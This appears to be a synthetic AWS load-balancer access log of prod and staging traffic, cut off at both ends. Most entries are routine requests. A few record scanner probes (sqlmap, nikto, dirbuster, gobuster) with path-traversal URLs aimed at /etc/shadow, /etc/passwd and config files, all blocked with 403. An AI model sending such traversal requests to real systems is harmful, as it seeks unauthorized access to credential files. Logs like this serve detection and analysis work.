"Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3ce-9cb988d4d8f546e5b88eec91" "staging-alb.example.com" "-" 9 2024-11-01T00:52:14.551196Z "forward" "-" "-" "156.37.164.145:80" "302" "-" "-" +https 2024-11-01T00:52:15.625362Z prod-api-alb 245.116.140.44:27437 10.0.7.94:443 0.059252 0.010250 0.087151 302 302 700 1811 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3cf-5dea640ead5241f18194b381" "prod-api-alb.example.com" "-" 5 2024-11-01T00:52:15.625362Z "forward" "-" "-" "10.0.7.94:443" "302" "-" "-" +https 2024-11-01T00:52:17.159454Z prod-api-alb 14.147.220.80:32539 10.0.237.151:443 0.068830 0.496968 0.060544 200 200 660 5135 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3d1-d9075646b88442eeb04c3bea" "prod-api-alb.example.com" "-" 0 2024-11-01T00:52:17.159454Z "forward" "-" "-" "10.0.237.151:443" "200" "-" "-" +http 2024-11-01T00:52:18.407859Z staging-alb 13.213.107.203:16017 95.94.81.45:80 0.108174 0.250801 0.099430 200 200 121 5782 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3d2-ea54ef3878014862883668b8" "staging-alb.example.com" "-" 6 2024-11-01T00:52:18.407859Z "forward" "-" "-" "95.94.81.45:80" "200" "-" "-" +https 2024-11-01T00:52:19.238583Z prod-web-alb 217.151.92.59:46126 10.0.14.211:443 0.078456 0.216450 0.002808 301 301 97 11954 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3d3-97a7af540f614422a79a4dca" "prod-web-alb.example.com" "-" 6 2024-11-01T00:52:19.238583Z "forward" "-" "-" "10.0.14.211:443" "301" "-" "-" +https 2024-11-01T00:52:19.588258Z prod-api-alb 152.124.55.208:58491 10.0.195.233:443 0.042687 0.175750 0.061093 301 301 842 8068 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3d3-3ed423195db648d3a4a24a44" "prod-api-alb.example.com" "-" 9 2024-11-01T00:52:19.588258Z "forward" "-" "-" "10.0.195.233:443" "301" "-" "-" +https 2024-11-01T00:52:19.837697Z prod-web-alb 219.124.73.7:28136 10.0.231.116:443 0.099624 0.033331 0.041135 200 200 68 13000 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3d3-c65e0cf91c2d45bc830f3f86" "prod-web-alb.example.com" "-" 2 2024-11-01T00:52:19.837697Z "forward" "-" "-" "10.0.231.116:443" "200" "-" "-" +https 2024-11-01T00:52:20.228403Z prod-api-alb 162.206.137.0:58259 10.0.72.203:443 0.065828 0.138837 0.096158 200 200 423 2185 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3d4-42358824966240e4b95efa89" "prod-api-alb.example.com" "-" 3 2024-11-01T00:52:20.228403Z "forward" "-" "-" "10.0.72.203:443" "200" "-" "-" +https 2024-11-01T00:52:20.532026Z staging-alb 110.168.24.47:40585 239.54.163.110:8080 0.106810 0.399080 0.059318 301 301 354 10467 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3d4-f885faec2b81482d883a5322" "staging-alb.example.com" "-" 10 2024-11-01T00:52:20.532026Z "forward" "-" "-" "239.54.163.110:8080" "301" "-" "-" +https 2024-11-01T00:52:22.009859Z staging-alb 77.212.103.162:50464 54.9.23.251:80 0.095493 0.602211 0.093564 404 404 591 12273 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3d6-7583f13291684301a4c3b732" "staging-alb.example.com" "-" 2 2024-11-01T00:52:22.009859Z "forward" "-" "-" "54.9.23.251:80" "404" "-" "-" +https 2024-11-01T00:52:22.295787Z staging-alb 231.34.34.213:46482 158.248.111.51:443 0.021247 0.722724 0.121619 301 301 658 14713 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3d6-4bac589c828944958521944b" "staging-alb.example.com" "-" 7 2024-11-01T00:52:22.295787Z "forward" "-" "-" "158.248.111.51:443" "301" "-" "-" +https 2024-11-01T00:52:23.929731Z prod-api-alb 43.232.158.200:51192 10.0.54.235:443 0.020097 0.044729 0.037958 302 302 20 6945 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3d7-7c41c52257684926a5187741" "prod-api-alb.example.com" "-" 2 2024-11-01T00:52:23.929731Z "forward" "-" "-" "10.0.54.235:443" "302" "-" "-" +https 2024-11-01T00:52:25.408842Z prod-api-alb 254.14.218.29:51792 10.0.112.190:443 0.084322 0.350062 0.038047 302 302 103 6676 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3d9-7b3d329d82b54b98b83aad42" "prod-api-alb.example.com" "-" 4 2024-11-01T00:52:25.408842Z "forward" "-" "-" "10.0.112.190:443" "302" "-" "-" +https 2024-11-01T00:52:27.049379Z prod-api-alb 60.252.36.64:60673 10.0.164.79:443 0.024585 0.055787 0.045883 302 302 804 11164 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3db-2e97c2962fbc478595b6b2b3" "prod-api-alb.example.com" "-" 9 2024-11-01T00:52:27.049379Z "forward" "-" "-" "10.0.164.79:443" "302" "-" "-" +http 2024-11-01T00:52:27.923431Z staging-alb 193.27.228.48:21127 90.194.249.78:8080 0.116590 0.597453 0.063058 403 403 873 7495 "GET /config.php~ HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3db-877b4647230044caad4333ec" "-" "-" 5 2024-11-01T00:52:27.923431Z "forward" "-" "-" "90.194.249.78:8080" "403" "-" "-" +https 2024-11-01T00:52:29.719629Z prod-web-alb 217.77.235.247:47032 10.0.59.191:443 0.094060 0.492201 0.077234 302 302 888 13541 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3dd-ebaa51f422424ca680d5cfee" "prod-web-alb.example.com" "-" 2 2024-11-01T00:52:29.719629Z "forward" "-" "-" "10.0.59.191:443" "302" "-" "-" +http 2024-11-01T00:52:30.910998Z staging-alb 222.129.143.94:21338 20.140.68.172:80 0.068813 0.728801 0.138472 200 200 560 894 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3de-40642185b3b24392a2443e35" "staging-alb.example.com" "-" 6 2024-11-01T00:52:30.910998Z "forward" "-" "-" "20.140.68.172:80" "200" "-" "-" +http 2024-11-01T00:52:31.064102Z staging-alb 147.130.140.129:60073 66.62.108.98:8080 0.117231 0.274259 0.091520 404 404 676 7880 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3df-6882d6e50f67467096681283" "staging-alb.example.com" "-" 8 2024-11-01T00:52:31.064102Z "forward" "-" "-" "66.62.108.98:8080" "404" "-" "-" +https 2024-11-01T00:52:31.849057Z prod-web-alb 205.13.58.169:13555 10.0.76.113:443 0.070226 0.311847 0.030380 301 301 80 13749 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3df-cc00b5df6ccd4fbaa3e18ad3" "prod-web-alb.example.com" "-" 7 2024-11-01T00:52:31.849057Z "forward" "-" "-" "10.0.76.113:443" "301" "-" "-" +https 2024-11-01T00:52:32.975829Z prod-api-alb 230.186.76.20:51253 10.0.156.80:443 0.045993 0.032447 0.092938 200 200 546 11829 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3e0-beaea733d5a947cc87580626" "prod-api-alb.example.com" "-" 0 2024-11-01T00:52:32.975829Z "forward" "-" "-" "10.0.156.80:443" "200" "-" "-" +https 2024-11-01T00:52:33.110195Z prod-web-alb 221.55.166.65:24703 10.0.71.119:443 0.056189 0.147037 0.082540 302 302 947 6451 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3e1-2631a3a072704b42a22c6030" "prod-web-alb.example.com" "-" 10 2024-11-01T00:52:33.110195Z "forward" "-" "-" "10.0.71.119:443" "302" "-" "-" +http 2024-11-01T00:52:33.789143Z staging-alb 239.100.106.72:61260 215.64.207.191:443 0.123644 0.198217 0.111549 200 200 98 7966 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3e1-e175b9a7e76945628ee82ef3" "staging-alb.example.com" "-" 7 2024-11-01T00:52:33.789143Z "forward" "-" "-" "215.64.207.191:443" "200" "-" "-" +https 2024-11-01T00:52:34.866869Z prod-web-alb 167.200.164.66:19712 10.0.82.114:443 0.066560 0.012014 0.040655 200 200 523 11667 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3e2-aefaf85f200d4f949ddabd8e" "prod-web-alb.example.com" "-" 2 2024-11-01T00:52:34.866869Z "forward" "-" "-" "10.0.82.114:443" "200" "-" "-" +http 2024-11-01T00:52:35.487206Z staging-alb 185.181.160.192:61696 247.16.42.108:443 0.040437 0.646125 0.066046 403 403 239 4999 "GET /images/../../../../etc/shadow HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3e3-099e98e21572485ea860a598" "-" "-" 1 2024-11-01T00:52:35.487206Z "forward" "-" "-" "247.16.42.108:443" "403" "-" "-" +https 2024-11-01T00:52:37.097910Z prod-web-alb 104.199.49.163:36535 10.0.53.72:443 0.055407 0.455379 0.066460 200 200 331 9988 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3e5-e627227dcee74de0b7d51827" "prod-web-alb.example.com" "-" 5 2024-11-01T00:52:37.097910Z "forward" "-" "-" "10.0.53.72:443" "200" "-" "-" +https 2024-11-01T00:52:37.820943Z prod-api-alb 62.235.75.63:11686 10.0.4.89:443 0.006571 0.054833 0.028194 404 404 167 1452 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3e5-2df3de4cfff5470f9e1c6280" "prod-api-alb.example.com" "-" 1 2024-11-01T00:52:37.820943Z "forward" "-" "-" "10.0.4.89:443" "404" "-" "-" +https 2024-11-01T00:52:38.909853Z prod-api-alb 193.27.228.98:48463 10.0.235.240:443 0.070198 0.223171 0.087977 403 403 992 3613 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3e6-e3ba5fd5c19943f38a9f70c2" "-" "-" 6 2024-11-01T00:52:38.909853Z "forward" "-" "-" "10.0.235.240:443" "403" "-" "-" +https 2024-11-01T00:52:39.704700Z prod-api-alb 2.209.107.191:43772 10.0.47.95:443 0.041584 0.341999 0.091738 200 200 571 6030 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3e7-495e2ffff8534102baa45ba4" "prod-api-alb.example.com" "-" 8 2024-11-01T00:52:39.704700Z "forward" "-" "-" "10.0.47.95:443" "200" "-" "-" +https 2024-11-01T00:52:41.159712Z prod-web-alb 213.238.201.45:55413 10.0.98.37:443 0.078047 0.391621 0.091458 404 404 419 11584 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3e9-094dd715fe4f43f78ac53cd1" "prod-web-alb.example.com" "-" 5 2024-11-01T00:52:41.159712Z "forward" "-" "-" "10.0.98.37:443" "404" "-" "-" +https 2024-11-01T00:52:41.653359Z prod-api-alb 106.51.105.11:46094 10.0.21.14:443 0.091816 0.054653 0.006155 200 200 183 14356 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3e9-cc65abed28f64071b4a019f6" "prod-api-alb.example.com" "-" 1 2024-11-01T00:52:41.653359Z "forward" "-" "-" "10.0.21.14:443" "200" "-" "-" +https 2024-11-01T00:52:42.290664Z prod-api-alb 105.132.56.178:56383 10.0.52.44:443 0.007198 0.462486 0.052111 404 404 302 4942 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3ea-81fbb6288c1f4c63ac56e575" "prod-api-alb.example.com" "-" 7 2024-11-01T00:52:42.290664Z "forward" "-" "-" "10.0.52.44:443" "404" "-" "-" +https 2024-11-01T00:52:43.054996Z prod-api-alb 219.47.121.210:63367 10.0.253.12:443 0.068957 0.469041 0.078395 200 200 339 792 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3eb-4eba201e5f3b4cc08ed6a444" "prod-api-alb.example.com" "-" 6 2024-11-01T00:52:43.054996Z "forward" "-" "-" "10.0.253.12:443" "200" "-" "-" +https 2024-11-01T00:52:44.645527Z prod-api-alb 64.36.79.71:11471 10.0.89.43:443 0.052370 0.025533 0.002929 301 301 906 7722 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3ec-446f148f24bd4c4481a460fa" "prod-api-alb.example.com" "-" 7 2024-11-01T00:52:44.645527Z "forward" "-" "-" "10.0.89.43:443" "301" "-" "-" +https 2024-11-01T00:52:44.891193Z prod-web-alb 75.188.184.223:50294 10.0.44.240:443 0.055058 0.274176 0.079113 302 302 731 10416 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3ec-afd4fa349e44411e85e8685e" "prod-web-alb.example.com" "-" 6 2024-11-01T00:52:44.891193Z "forward" "-" "-" "10.0.44.240:443" "302" "-" "-" +https 2024-11-01T00:52:46.207911Z prod-api-alb 71.98.19.251:11626 10.0.231.126:443 0.019538 0.357381 0.094320 200 200 190 12527 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3ee-a5a12a1aa033449da614c655" "prod-api-alb.example.com" "-" 8 2024-11-01T00:52:46.207911Z "forward" "-" "-" "10.0.231.126:443" "200" "-" "-" +https 2024-11-01T00:52:46.568717Z prod-api-alb 45.208.200.72:26084 10.0.124.162:443 0.017722 0.058351 0.022864 200 200 754 13190 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3ee-8e25ea2be23a4b84a17065f1" "prod-api-alb.example.com" "-" 2 2024-11-01T00:52:46.568717Z "forward" "-" "-" "10.0.124.162:443" "200" "-" "-" +http 2024-11-01T00:52:47.577317Z staging-alb 206.32.75.209:50157 32.153.188.81:443 0.084454 0.272495 0.044879 200 200 900 11297 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3ef-6b9058ceda9c49d4abcd1cde" "staging-alb.example.com" "-" 2 2024-11-01T00:52:47.577317Z "forward" "-" "-" "32.153.188.81:443" "200" "-" "-" +https 2024-11-01T00:52:47.692414Z staging-alb 212.9.142.105:56725 245.34.251.47:80 0.130726 0.210867 0.028136 302 302 92 4108 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3ef-c8c8f006d83e46aead1c291a" "staging-alb.example.com" "-" 6 2024-11-01T00:52:47.692414Z "forward" "-" "-" "245.34.251.47:80" "302" "-" "-" +https 2024-11-01T00:52:47.991191Z staging-alb 62.244.39.96:37763 42.114.148.85:443 0.005156 0.496582 0.011511 301 301 672 1539 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3ef-269f83582b334cb1b647e2c0" "staging-alb.example.com" "-" 3 2024-11-01T00:52:47.991191Z "forward" "-" "-" "42.114.148.85:443" "301" "-" "-" +https 2024-11-01T00:52:48.702552Z staging-alb 34.24.136.234:12947 189.119.152.240:80 0.144109 0.652143 0.044513 200 200 483 2116 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3f0-f16e426092f24066acbd872c" "staging-alb.example.com" "-" 3 2024-11-01T00:52:48.702552Z "forward" "-" "-" "189.119.152.240:80" "200" "-" "-" +https 2024-11-01T00:52:50.507674Z prod-api-alb 128.210.139.66:40882 10.0.78.185:443 0.066665 0.284092 0.020699 200 200 270 7793 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c3f2-9e882e097d064829b6fa2b29" "prod-api-alb.example.com" "-" 10 2024-11-01T00:52:50.507674Z "forward" "-" "-" "10.0.78.185:443" "200" "-" "-" +https 2024-11-01T00:52:51.586217Z staging-alb 147.143.231.238:22607 83.164.217.241:443 0.112160 0.516774 0.066468 301 301 478 7266 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c3f3-d58d682a5b1c4ae5a02746b8" "staging-alb.example.com" "-" 4 2024-11-01T00:52:51.586217Z "forward" "-" "-" "83.164.217.241:443" "301" "-" "-" +https 2024-11-01T00:52:52.214994Z staging-alb 149.251.114.243:51226 78.167.201.202:443 0.087802 0.475087 0.130318 200 200 357 13185 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c3f4-e206228fd6f44002ba947c38" "staging-alb.example.com" "-" 0 2024-11-01T00:52:52.214994Z "forward" "-" "-" "78.167.201.202:443" "200" "-" "-" +https 2024-11-01T00:52:53.977567Z prod-web-alb 245.254.9.90:21078 10.0.142.142:443 0.086990 0.499037 0.048487 301 301 113 10187 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3f5-3eb1552b6d3e4cdfb5fda7af" "prod-web-alb.example.com" "-" 9 2024-11-01T00:52:53.977567Z "forward" "-" "-" "10.0.142.142:443" "301" "-" "-" +https 2024-11-01T00:52:55.460125Z prod-web-alb 88.141.71.145:19350 10.0.235.8:443 0.042287 0.026162 0.009174 200 200 595 9342 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3f7-30b99164d34b4ca691033b34" "prod-web-alb.example.com" "-" 9 2024-11-01T00:52:55.460125Z "forward" "-" "-" "10.0.235.8:443" "200" "-" "-" +https 2024-11-01T00:52:56.347704Z prod-web-alb 112.251.34.184:24795 10.0.162.239:443 0.025374 0.073624 0.013892 404 404 12 388 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c3f8-93f753a8b4104b56867988e1" "prod-web-alb.example.com" "-" 5 2024-11-01T00:52:56.347704Z "forward" "-" "-" "10.0.162.239:443" "404" "-" "-" +https 2024-11-01T00:52:57.297225Z prod-api-alb 48.189.203.120:41237 10.0.53.192:443 0.017528 0.031283 0.068449 200 200 258 2662 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3f9-915e08f117b64ae7b00ff3d0" "prod-api-alb.example.com" "-" 4 2024-11-01T00:52:57.297225Z "forward" "-" "-" "10.0.53.192:443" "200" "-" "-" +https 2024-11-01T00:52:57.469544Z prod-web-alb 193.27.228.120:12884 10.0.61.227:443 0.071775 0.391345 0.066773 403 403 613 13027 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c3f9-56bba473a48a44ec84ecac7c" "-" "-" 4 2024-11-01T00:52:57.469544Z "forward" "-" "-" "10.0.61.227:443" "403" "-" "-" +https 2024-11-01T00:52:57.994049Z prod-api-alb 177.152.19.207:23135 10.0.123.204:443 0.039292 0.107416 0.090893 200 200 743 13394 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c3f9-09be81019a9740a58b5e70a6" "prod-api-alb.example.com" "-" 2 2024-11-01T00:52:57.994049Z "forward" "-" "-" "10.0.123.204:443" "200" "-" "-" +http 2024-11-01T00:52:59.205183Z 